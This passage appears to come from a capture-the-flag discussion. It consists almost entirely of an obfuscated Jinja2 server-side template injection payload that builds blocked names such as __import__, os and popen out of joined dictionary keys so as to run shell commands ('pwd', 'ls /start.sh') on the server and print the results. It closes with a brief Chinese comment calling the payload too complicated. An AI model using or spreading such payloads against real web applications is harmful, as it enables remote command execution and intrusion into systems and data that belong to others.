x()|attr(un~dict(module=a)|join)|attr(un~un~dict(built=a,ins=b)|join~un~un)|attr(gti)((un~un~dict(imp=a,ort=a)|join~un~un))(dict(o=a,s=a)|join)|attr(dict(po=a,pen=a)|join)(dict(pw=a,d=a)|join)|attr(dict(re=a,ad=a)|join)()|string|list|first%}{%print(x()|attr(un~dict(module=a)|join)|attr(un~un~dict(built=a,ins=b)|join~un~un)|attr(gti)((un~un~dict(imp=a,ort=a)|join~un~un))(dict(o=a,s=a)|join)|attr(dict(po=a,pen=a)|join)(dict(ls=a)|join)~sla~dict(start=a)|join~dot~dict(sh=a)|join|attr(dict(re=a,ad=a)|join)())%}{%endif%}{%endfor%}

太复杂了!不然前两个好!